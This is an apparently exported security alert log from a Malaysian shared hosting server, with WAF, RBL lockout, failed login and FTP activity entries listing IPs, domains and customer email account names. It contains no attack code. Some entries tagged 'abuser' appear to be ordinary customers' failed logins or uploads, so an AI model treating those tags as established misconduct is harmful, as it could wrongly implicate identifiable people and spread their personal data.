IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/css/plugins.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.182
country_id: 1880251
domain: symphony-led.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/symphony-led.com/css/style.css HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.247.48
country_id: 798544
description:
Jan 13 14:30:39 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.247.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.70
country_id: 1269750
description:
Jan 13 14:30:58 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59696: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.4.70
country_id: 1269750
description:
Jan 13 14:31:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.4.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:31:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59697: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 13 14:31:52 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.244.255.21
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/lose/12/195/1201669 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.248.74.236
country_id: 2363686
description:
Jan 13 14:33:34 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.248.74.236 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 14:34:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63677: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.206
country_id: 1269750
description:
Jan 13 14:34:50 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.206 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.175.151.46
country_id: 99237
description:
[2026-01-13 14:34:55 +0800] info [whostmgrd] 5.175.151.46 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.173
country_id: 3175395
description:
Jan 13 14:35:02 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 14:34:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63677: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.173
country_id: 3175395
description:
Jan 13 14:35:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.120.129.7
country_id: 690791
description:
Jan 13 14:35:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.120.129.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 198.105.121.124
country_id: 2635167
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-37.198.105.121.124||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.172.68.220
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=791633 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.63
country_id: 3175395
description:
Jan 13 14:36:37 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.78
country_id: 2510769
description:
Jan 13 14:36:56 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.78
country_id: 2510769
description:
Jan 13 14:37:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.42.115
country_id: 953987
description:
Jan 13 14:37:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.42.115 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.39.33.107
country_id: 2921044
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-38.194.39.33.107||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.112.131
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=784798 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.196.171.102
country_id: 3469034
description:
Jan 13 14:40:22 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.196.171.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.209.248.138
country_id: 798544
description:
Jan 13 14:41:16 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.209.248.138 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.221.235.103
country_id: 6252001
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/stamp/310/214313 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.253.177.153
country_id: 1210997
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/app/Http/Requests/Admin/StoreAppointmentsRequest.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.60.41.19
country_id: 357994
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=7 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 66.167.15.139
country_id: 1168579
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=33 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 104.143.84.54
country_id: 6252001
domain: www.smartelectro.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.172
country_id: 2395170
description:
Jan 13 14:47:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.172 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 152.44.105.225
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:14-46.152.44.105.225||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.223.251.172
country_id: 2395170
description:
Jan 13 14:47:12 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.223.251.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:49:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14742: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:48:37 sv3 pure-ftpd[526263]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:48:38 sv3 pure-ftpd[526263]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.151.237.49
country_id: 690791
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=37 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:48:49 sv3 pure-ftpd[526484]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1050-PMR_MGM_2026_LP/mgm/index.html uploaded  (70768 bytes, 1552.57KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:49:09 sv3 pure-ftpd[526484]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1050-PMR_MGM_2026_LP/mgm2/img/premier-mgm/vector/icon-whatsapp.svg uploaded  (1887 bytes, 24.78KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:49:19 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14743: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 85.202.108.134
country_id: 798544
description:
Jan 13 14:49:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 85.202.108.134 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.11.63
country_id: 3077311
description:
Jan 13 14:50:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.11.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.232
country_id: 690791
description:
Jan 13 14:50:36 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.232 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:50:38 sv3 pure-ftpd[531260]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.64.95.230
country_id: 3865483
description:
Jan 13 14:50:44 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.64.95.230 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.11.63
country_id: 3077311
description:
Jan 13 14:50:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.11.63 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:50:34 sv3 pure-ftpd[526263]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1050-PMR_MGM_2026_LP/mgm2/images/privilege_mobile4.jpg


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 13 14:50:40 sv3 pure-ftpd[531260]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1050_PMR_MGM_2026_edm/premier_edm.html uploaded  (45996 bytes, 748.16KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:51:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:40777: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 14:51:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:40777: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.74
country_id: 953987
description:
Jan 13 14:51:28 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.205.142.185
country_id: 3469034
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/ramsey/uuid/src/UuidFactoryInterface.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.7.228.40
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=599376 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.106.155.11
country_id: 798544
description:
Jan 13 14:55:31 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.106.155.11 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.59.224.101
country_id: 798544
description:
Jan 13 14:55:33 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.59.224.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.216.79
country_id: 953987
description:
Jan 13 14:56:03 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.216.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.194.70.79
country_id: 1269750
description:
Jan 13 14:55:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.194.70.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.216.79
country_id: 953987
description:
Jan 13 14:56:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.216.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:59:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59729: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.43.16.224
country_id: 3175395
description:
Jan 13 14:58:25 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.43.16.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.5.26
country_id: 1668284
description:
Jan 13 14:58:46 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.5.26 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.70.126.79
country_id: 1269750
description:
Jan 13 14:59:10 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.70.126.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-13 14:59:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:59729: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:02:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55476: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.112.113
country_id: 6252001
description:
Jan 13 15:02:07 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.112.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.112.113
country_id: 6252001
description:
2026-01-13 15:02:09 dovecot_login authenticator failed for H=(lvdxsi) [92.118.112.113]:55853: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-13 15:02:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:55476: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.137.112
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/history.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.172.119
country_id: 1562822
domain: www.u-net.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.u-net.com.my/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.252.198.184
country_id: 3489940
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/TranslatorBagInterface.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.70.21.97
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=18 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.154.202.101
country_id: 6252001
description:
Jan 13 15:09:09 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.154.202.101 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.202.101
country_id: 6252001
description:
2026-01-13 15:09:11 dovecot_login authenticator failed for H=([165.154.202.101]) [165.154.202.101]:33676: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.73.161
country_id: 1512440
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=2 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.183.116.19
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=8&sub=9 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.152.96
country_id: 99237
description:
Jan 13 15:11:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.152.96 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.74.237.1
country_id: 1562822
description:
2026-01-13 15:13:39 dovecot_login authenticator failed for H=([127.0.0.1]) [27.74.237.1]:22621: 535 Incorrect authentication data (set_id=inf@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.162.72.237
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=241640 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.179.73.109
country_id: 3624060
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=587020 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.25
country_id: 3175395
description:
Jan 13 15:15:37 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.25 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.14.158.243
country_id: 3865483
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=841251 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.44.184.178
country_id: 357994
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=192351 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.183.236.12
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/news.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 15:17:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14752: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 15:17:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:14753: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 15:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:41391: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.147.191.132
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=903141 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.81.74.244
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=8&page_id=2&sub=7 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.68.189.82
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=306191 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.179.249
country_id: 3175395
description:
Jan 13 15:18:32 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.179.249 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.202.80.152
country_id: 1835841
description:
2026-01-13 15:18:47 dovecot_login authenticator failed for H=([114.202.80.152]) [114.202.80.152]:40783: 535 Incorrect authentication data (set_id=purchasing3@ocned.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.77.245
country_id: 1831722
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=967984 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.202.80.152
country_id: 1835841
description:
Jan 13 15:18:45 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.202.80.152 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.128.168
country_id: 1733045
description:
2026-01-13 15:19:08 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.128.168]:41391: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.189.161.26
country_id: 1861060
description:
2026-01-13 15:21:34 dovecot_plain authenticator failed for H=softbank111189161026.bbtec.net (smtpclient.apple) [111.189.161.26]:33413: 535 Incorrect authentication data (set_id=iwata@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.189.161.26
country_id: 1861060
description:
2026-01-13 15:22:25 dovecot_plain authenticator failed for H=softbank111189161026.bbtec.net (smtpclient.apple) [111.189.161.26]:36383: 535 Incorrect authentication data (set_id=iwata@manforce.net)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 35.239.95.169
country_id: 6252001
domain: dailyreport.tallahesse.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.62||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.142
country_id: 798544
description:
Jan 13 15:23:04 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.142
country_id: 798544
description:
Jan 13 15:23:11 sv3 auth[3586249]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.179.189.15
country_id: 3469034
description:
